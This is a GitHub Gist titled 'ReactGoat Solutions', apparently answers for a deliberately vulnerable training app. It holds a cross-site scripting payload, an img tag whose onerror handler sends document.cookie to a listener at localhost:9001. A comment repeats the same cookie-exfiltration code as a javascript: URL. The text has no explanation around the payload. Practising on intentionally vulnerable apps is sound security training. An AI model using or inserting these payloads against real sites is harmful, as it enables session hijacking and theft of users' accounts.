Skip to content

Instantly share code, notes, and snippets.

@vxermx
Created March 13, 2020 20:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save vxermx/23705b64526dbf096bbbd18077cb77fb to your computer and use it in GitHub Desktop.
Save vxermx/23705b64526dbf096bbbd18077cb77fb to your computer and use it in GitHub Desktop.
ReactGoat Solutions
<img
src='/fake'
onerror="var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://localhost:9001/'+document.cookie); xhr.send();"
/>
@seisvelas
Copy link

javascript:var xhr = new XMLHttpRequest(); xhr.open('GET', 'http://localhost:9001/'+document.cookie); xhr.send();

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment